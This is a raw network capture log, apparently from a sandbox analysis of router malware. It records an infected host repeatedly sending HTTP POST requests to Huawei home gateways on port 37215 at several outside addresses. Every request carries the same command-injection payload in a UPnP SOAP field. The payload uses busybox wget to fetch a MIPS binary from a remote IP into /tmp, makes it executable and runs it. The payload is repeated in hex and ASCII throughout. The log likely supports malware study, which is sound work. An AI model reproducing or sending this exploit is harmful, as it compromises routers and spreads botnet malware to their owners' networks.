xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	55606	156.254.81.48	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:07.912324905 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:11.996541023 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:18.140636921 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	51658	94.120.26.94	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:08.178874969 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	50918	156.254.107.38	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:08.201165915 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:09.756551981 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:11.580786943 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:15.324618101 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	58920	41.47.126.248	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:08.519752026 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:08.863682032 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
